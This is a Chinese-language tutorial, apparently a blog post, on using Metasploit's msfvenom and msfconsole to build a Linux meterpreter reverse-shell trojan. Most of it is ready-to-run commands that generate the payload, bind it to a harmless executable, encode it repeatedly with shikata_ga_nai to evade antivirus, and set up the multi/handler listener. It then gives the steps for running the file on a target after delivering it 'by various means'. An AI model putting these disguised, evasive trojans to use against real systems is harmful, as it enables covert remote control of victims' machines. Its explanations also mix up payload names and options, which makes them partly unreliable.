Metasploit 是一个开源的,可用来发现验证利用漏洞的渗透测试平台。

Kali 中默认安装了 Metasploit 框架。

# msfvenom 命令实现木马生成、捆绑以及免杀处理

简介:

msfvenomMetasploit 中的一个命令。

msfvenom 命令结合了 msfpayload 和 msfencoder 的功能,能够生成木马,并实现木马编码免杀和避免坏字符、捆绑木马等。

# msfvenom 命令用法

涉及到的选项有:

-l:列出指定模块(包括 payloads, encoders, nops, platforms, archs, encrypt, formats, all)的所有可用资源。其中 payloads 对应的就是木马

-p:指定需要使用的 payload ,可以指定 ‘-’ 或者 stdin 来自定义 payload。
如果不知道 payload 包括哪些选项,可以使用 --list-options 列出 payload 的标准选项。

-f:指定 payload 的输出格式,可以使用 --list formats 来列出可选的格式。

-o:指定输出的 payload 的保存路径,也可以采用重定向的方式来替代 - o 选项。

-x: 指定一个自定义可执行文件作为模板。即,把木马捆绑到指定的可执行文件上。

-e:指定使用的编码器()。

-i: 指定对 payload 编码的次数

# 木马生成

  1. 先使用 msfvenom -l payloads 命令,查看可用的木马
    因为可用的木马有很多,所以可以根据所需木马的特性、结合 grep 限定木马的种类 image-20230426010221520
    以木马 linux/x86/meterpreter/reverse_tcp (反向连接) 作为样例,
    <br>
  2. 查看该木马需要设置的选项
    msfvenom -p linux/x86/meterpreter/reverse_tcp --list-options image-20230426010409894

<br>

  1. 查看可指定的输出格式
    msfvenom --list formats image-20230426010426398
    <br>

  2. 参考上面得到的信息,构造生成木马的命令:
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.158.132 LPORT=4444 -f elf -o /root/payload.elf image-20230426010433724

其中,-p 选择生成的木马为:linux/x64/shell_bind_tcp
RHOST 指定将要攻击的目标主机 IP
LPORT 指定对应端口号(默认为 4444,故可以不写);
-f 指定生成木马文件的文件类型elf
-o 指定保存生成的木马文件的地址为:/root/payload.elf

# 木马捆绑

通常情况下,木马会和正常的文件捆绑在一起,方便木马进行感染传播

所以,我们要事先准备好一个用于绑定的文件,这里选用的是 /root/hello_worldgcc 编译的一个简单的 C 程)。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.158.132 LPORT=4444 -f elf -x /root/hello_world -o /root/payload_bundle.elf
image-20230426010440843

其中,-x 指定绑定的可执行文件为 /root/hello_world ,其余项与生成木马的指令一致。

# 木马免杀

在杀毒软件泛滥的今天,不对木马文件进行免杀处理很难通过杀软的检查,所以需要对木马进行免杀处理。

查看可用的编码器: msfvenom -l encoders
image-20230426010444808

选用免杀效果较好的 x86/shikata_ga_nai 编译器进行编码。
命令: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.158.132 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf -x /root/hello_world -o /root/payload_Anti_Virus.elf
image-20230426010449517

其中,-e 指定编译器为 x86/shikata_ga_nai
-i 指定编码的次数为 5 次。
编码 5 次的木马,基本可以躲避部分杀软的查杀,

当然可以对木马进行更多次的编码,这样可以提高木马的免杀机率,但是需要注意:这也可能会导致木马不可使用

# msfconsole 木马利用

使用之前生成的木马文件: payload.elf

# 攻击端:

输入命令 msfconsole 打开 MSF 控制台
image-20230426010454524

输入命令: use exploit/multi/handler ,选择 exploit 模块

然后,可以输入命令 show options 查看设置的参数(查看还要设置哪些)
trojan-horse10

命令 set PAYLOAD linux/x86/meterpreter/reverse_tcp ,设置 PAYLOAD
命令 set LHOST 192.168.158.132 ,设置 local host 的 IP

命令 run 开始监听对应的端口,等待目标服务器执行木马后,就能获得 shell
如下图所示:
image-20230426010500036

# 目标服务器:

用各种方式将木马文件传到目标服务器上,

命令 chmod +x payload.elf 更改文件执行权限

执行 payload.elf 文件(顺序:要在攻击端开始监听之后执行):
image-20230426010506608

整理一下:

  • 攻击端:
  1. msfconsole
  2. use exploit/multi/handler
  3. set PAYLOAD linux/x86/meterpreter/reverse_tcp
    4. set LHOST 192.168.158.132
  4. run ,开始监听
  • 目标服务器:
  1. 下载木马文件
  2. chmod +x payload.elf
  3. ./ payload.elf